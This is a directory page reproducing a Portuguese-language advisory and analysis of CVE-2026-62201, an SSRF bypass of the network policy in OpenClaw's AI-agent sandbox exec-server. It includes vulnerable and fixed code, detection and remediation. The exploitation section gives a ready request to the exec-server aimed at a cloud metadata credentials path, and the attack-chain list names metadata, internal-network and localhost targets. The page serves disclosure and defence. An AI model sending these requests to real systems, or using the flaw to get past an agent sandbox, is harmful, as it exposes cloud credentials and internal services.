Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-62201-OpenClaw-SSRF — Análise aprofundada do CVE-2026-62201: bypass da política de rede do exec-server do sandbox OpenClaw (SSRF). Causa raiz, código vulnerável vs corrigido, exploração, detecção, remediação. | Kitploit
Ferramentas/GitHubGitHub/diedromeo/cve-2026-62201-openclaw-ssrf
Análise de VulnerabilidadesExploraçãoSegurança WebSegurança na Nuvem
GitHubdiedromeo/cve-2026-62201-openclaw-ssrf

CVE-2026-62201-OpenClaw-SSRF

Análise aprofundada do CVE-2026-62201: bypass da política de rede do exec-server do sandbox OpenClaw (SSRF). Causa raiz, código vulnerável vs corrigido, exploração, detecção, remediação.

Ver Repositório
há 1 diaAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-62201 — Bypass da Política de Rede do OpenClaw Sandbox Exec-Server (SSRF)

Gravidade: Alta · CVSS: 7.7 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N) · CWE-918 (Server-Side Request Forgery)


Visão Geral da Vulnerabilidade

CampoValor
AdvisoryGHSA-mgvr-6gvw-3rgr
NVDCVE-2026-62201
ProdutoOpenClaw (pacote npm openclaw) — componente sandbox exec-server
Afetadoopenclaw < 2026.6.6
Corrigido2026.6.6 e versões posteriores
Causa raizValidação SSRF ausente no helper HTTP embutido do exec-server (SANDBOX_HTTP_REQUEST_SCRIPT)
Commit da correção21410d1c — "fix(codex): guard sandbox http requests"
Vetor de ataqueHTTP POST para o handler http/request do exec-server com uma URL controlada pelo atacante
ImpactoUm chamador de baixo privilégio alcança destinos de rede internos (metadados de nuvem, IPs privados, serviços localhost) que a política de rede do OpenClaw deveria bloquear

Resumo

O OpenClaw é uma plataforma de agentes de IA cujo sandbox exec-server expõe um helper de requisições HTTP que os agentes usam para fazer chamadas web de saída. Versões anteriores à 2026.6.6 distribuíram esse helper sem proteção SSRF: um chamador de menor confiança — qualquer agente, ferramenta ou caminho de entrada que a plataforma considere menos confiável que um operador de gateway — podia enviar uma URL arbitrária e fazer o exec-server buscá-la de dentro da rede do host.

As verificações de política de rede aplicadas ao egresso direto do sandbox não foram aplicadas quando as requisições transitavam pela interface HTTP do exec-server. Essa inconsistência é a vulnerabilidade: o exec-server atuava como um proxy HTTP irrestrito para a rede interna.


Análise Técnica Detalhada

O Componente: Sandbox Exec-Server

Quando o OpenClaw executa um agente Codex em um sandbox, ele inicia um exec-server local (extensions/codex/src/app-server/sandbox-exec-server.ts) que hospeda métodos JSON-RPC sobre um transporte WebSocket/HTTP. Um desses métodos, http/request, permite que o agente busque URLs. A implementação canaliza a requisição através de um pequeno script Python embutido — SANDBOX_HTTP_REQUEST_SCRIPT — que faz o trabalho real de urllib.

O handler de requisições está em extensions/codex/src/app-server/sandbox-exec-server/http.ts.

Código Vulnerável ([email protected])

O helper Python recebia a URL e apenas verificava o esquema:

root@kitploit:~
# De [email protected] — SANDBOX_HTTP_REQUEST_SCRIPT (resumido)
def main():
    input_data = json.load(sys.stdin)
    url = str(input_data.get("url", ""))
    parsed = urllib.parse.urlparse(url)
    if parsed.scheme not in ("http", "https"):
        raise ValueError("http/request only supports http and https URLs")

    request = urllib.request.Request(url, ...)
    with urllib.request.urlopen(request, timeout=timeout) as response:
        handle_response(input_data, response)

Essa é a única barreira. Não havia:

  • ❌ Lista de bloqueio de hostnames (localhost, *.internal, metadata.google.internal …)
  • ❌ Rejeição de IPs privados / link-local / loopback
  • ❌ Verificação de resolução DNS (o hostname podia resolver para um IP interno)
  • ❌ Validação de redirecionamentos — um redirecionamento para http://169.254.169.254/ era seguido cegamente

Resultado: {"method":"GET","url":"http://<host-interno>/"} retornava o corpo da resposta interna ao chamador. O exec-server era um proxy aberto para a rede do host.

A Correção ([email protected])

O commit 21410d1c adicionou defesa em profundidade em ambas as camadas:

Camada 1 — Pré-verificação em TypeScript (assertSandboxHttpRequestTargetAllowed em http.ts):

root@kitploit:~
function assertSandboxHttpRequestTargetAllowed(url: string): void {
  const parsed = new URL(url);
  if (parsed.protocol !== "http:" && parsed.protocol !== "https:") {
    throw new SsrFBlockedError(...);
  }
  if (isBlockedHostnameOrIp(parsed.hostname)) {
    throw new SsrFBlockedError(...);
  }
}

Camada 2 — Reforço do helper Python (assert_url_allowed no script embutido):

  • Hostnames bloqueados: localhost, localhost.localdomain, metadata.google.internal, além dos sufixos *.localhost, *.local, *.internal
  • IPs de metadados de nuvem: 169.254.169.254, 100.100.100.200, fd00:ec2::254
  • Redes IPv4/IPv6 bloqueadas: CGNAT 100.64.0.0/10, benchmarking 198.18.0.0/15, documentação 2001:db8::/32, e outras
  • Classificação ipaddress: loopback, privado, link-local, multicast, reservado, não especificado
  • Fixação de resolução DNS: o hostname é resolvido antes da requisição, cada endereço resolvido é verificado, e os endereços verificados são então fixados para a conexão real (previne DNS-rebinding)
  • GuardedRedirectHandler: cada salto de redirecionamento reexecuta assert_url_allowed antes de ser seguido
  • Extração de IPv4 embutido em IPv6: formas mapeadas (::ffff:a.b.c.d), 6to4 (2002::/16), Teredo e ISATAP são desembrulhadas e seu IPv4 embutido é verificado
root@kitploit:~
def assert_url_allowed(url):
    parsed = urllib.parse.urlparse(url)
    ...
    hostname = normalize_hostname(parsed.hostname)
    if not hostname or is_blocked_hostname(hostname) or is_blocked_ip(hostname):
        raise ValueError("Blocked hostname or private/internal/special-use IP address")
    results = socket.getaddrinfo(hostname, parsed.port, proto=socket.IPPROTO_TCP)
    addresses = {entry[4][0] for entry in results if entry[4]}
    if not addresses or any(is_blocked_ip(address) for address in addresses):
        raise ValueError("Blocked: resolves to private/internal/special-use IP address")
    PINNED_ADDRESSES[hostname] = sorted(addresses)

Exploração

Pré-requisitos

  • Uma instância OpenClaw em execução < 2026.6.6 com o sandbox exec-server habilitado
  • Capacidade de alcançar o endpoint HTTP do exec-server e invocar http/request (a plataforma trata isso como acesso de baixo privilégio — por exemplo, um plugin, uma ferramenta ou um caminho de entrada, não um operador de gateway)

Passo a Passo

Passo 1 — Envie uma requisição direcionada a um serviço interno:

root@kitploit:~
POST /exec/http HTTP/1.1
Host: <exec-server>:8300
Content-Type: application/json

{"method":"GET","url":"http://metadata.internal/latest/meta-data/iam/security-credentials/","headers":[]}

Passo 2 — Resposta vulnerável (HTTP 200):

O exec-server buscou a URL interna e retornou o corpo ao chamador — encapsulado em base64 como bodyBase64:

root@kitploit:~
{
  "status": 200,
  "headers": [{"name":"Content-Type","value":"application/json"}],
  "bodyBase64": "eyJzZWNyZXQiOiJBS0lBX0ZBS0VfQVdTX1NFQ1JFVF9LRVlfMTIzNDUi...}"
}

Decodificado:

root@kitploit:~
{
  "secret": "...",
  "instanceId": "...",
  "region": "us-east-1",
  "role": "admin-role"
}

Passo 3 — Resposta corrigida (HTTP 502):

root@kitploit:~
{
  "error": "ValueError: Blocked: resolves to private/internal/special-use IP address"
}

O destino interno fica inacessível através do exec-server nas versões corrigidas.

Exemplos de Cadeia de Ataque

  1. Exfiltração de metadados de nuvem — http://169.254.169.254/latest/meta-data/iam/security-credentials/ → credenciais IAM
  2. Pivoteamento — alcançar consoles administrativos, bancos de dados e outros serviços internos no espaço RFC 1918 que nunca deveriam ser acessíveis a partir do exec-server
  3. Serviços localhost — http://127.0.0.1:<porta>/ para atingir interfaces de gerenciamento não autenticadas co-localizadas

Impacto e Justificativa do CVSS

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N — 7.7 Alta

  • PR:L — a exploração exige acesso de baixo privilégio (um chamador de menor confiança / caminho de entrada configurado), não privilégios de operador de gateway. A superfície de ataque de rede é o que torna isso perigoso: o exec-server fica dentro da rede de implantação.
  • S:C — o escopo muda: o comprometimento não se limita ao exec-server, estende-se à rede interna (serviço de metadados, serviços privados).
  • C:H / I:N / A:N — o impacto principal é de confidencialidade: exfiltração de dados de destinos internos. Não há impacto direto de escrita ou disponibilidade por esse caminho.

O enquadramento do advisory é importante: o modelo de operador confiável do OpenClaw assume que operadores de gateway são confiáveis. O bug é que uma superfície de menor confiança (plugins, ferramentas, caminhos de entrada) podia alcançar destinos que a política deveria ter bloqueado.


Detecção

Nuclei

Um template de detecção está disponível — baseado em OAST, sem exigir conhecimento prévio da topologia interna:

root@kitploit:~
http:
  - raw:
      - |
        POST /exec/http HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"method":"GET","url":"http://{{interactsh-url}}/","headers":[]}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: word
        part: body
        words:
          - "bodyBase64"

Enviado upstream: projectdiscovery/nuclei-templates#17183

Sinais de Log e Telemetria

  • Requisições de saída do processo exec-server para endereços RFC 1918 / link-local / loopback
  • Requisições POST para /exec/http (ou o equivalente JSON-RPC via WebSocket) cujo corpo JSON contém um campo url apontando para destinos privados/internos
  • Requisições do exec-server para o IP de metadados da nuvem (169.254.169.254, 100.100.100.200)
  • Egresso anômalo: exec-server conectando-se a portas/serviços que não deveria acessar

Remediação

  1. Atualize — npm install [email protected] (ou posterior). A correção adiciona validação SSRF completa tanto na fronteira TS quanto dentro do helper Python.
  2. Restrinja o acesso ao exec-server — exponha-o apenas a agentes/ferramentas confiáveis; isole-o por firewall de caminhos de entrada de menor confiança.
  3. Reduza as allowlists de ferramentas e canais — privilégio mínimo para o que os agentes podem invocar.
  4. Controle de egresso de rede — se não puder atualizar imediatamente, bloqueie o host do exec-server de alcançar endpoints de metadados e faixas internas na camada de rede como controle compensatório.
  5. Evite gateways compartilhados entre usuários que não confiam entre si até a correção.

Linha do Tempo de Divulgação

  • Reportado aos mantenedores do OpenClaw (processo GitHub Security Advisory)
  • Advisory publicado: GHSA-mgvr-6gvw-3rgr — gravidade Alta
  • CVE atribuído: CVE-2026-62201
  • Correção lançada: 2026.6.6

Referências

  • GHSA-mgvr-6gvw-3rgr — OpenClaw Security Advisory
  • NVD — CVE-2026-62201
  • VulnCheck Advisory
  • Commit da correção 21410d1c
  • Código-fonte vulnerável — sandbox-exec-server/http.ts

Divulgação Responsável

Esta pesquisa foi conduzida contra dados de vulnerabilidades divulgados publicamente e software implantado em um laboratório isolado. Nenhum sistema de produção ativo, redes de terceiros ou pesquisa de zero-day estão envolvidos. Todos os PoCs usados aqui são requisições inofensivas somente de leitura.

Baixar ferramenta